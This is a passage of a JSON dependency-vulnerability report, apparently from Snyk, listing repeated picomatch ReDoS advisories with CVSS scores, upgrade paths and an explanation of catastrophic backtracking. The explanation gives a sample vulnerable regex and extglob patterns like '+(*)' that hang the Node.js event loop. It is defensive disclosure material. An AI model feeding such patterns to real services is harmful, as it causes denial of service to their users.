], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in 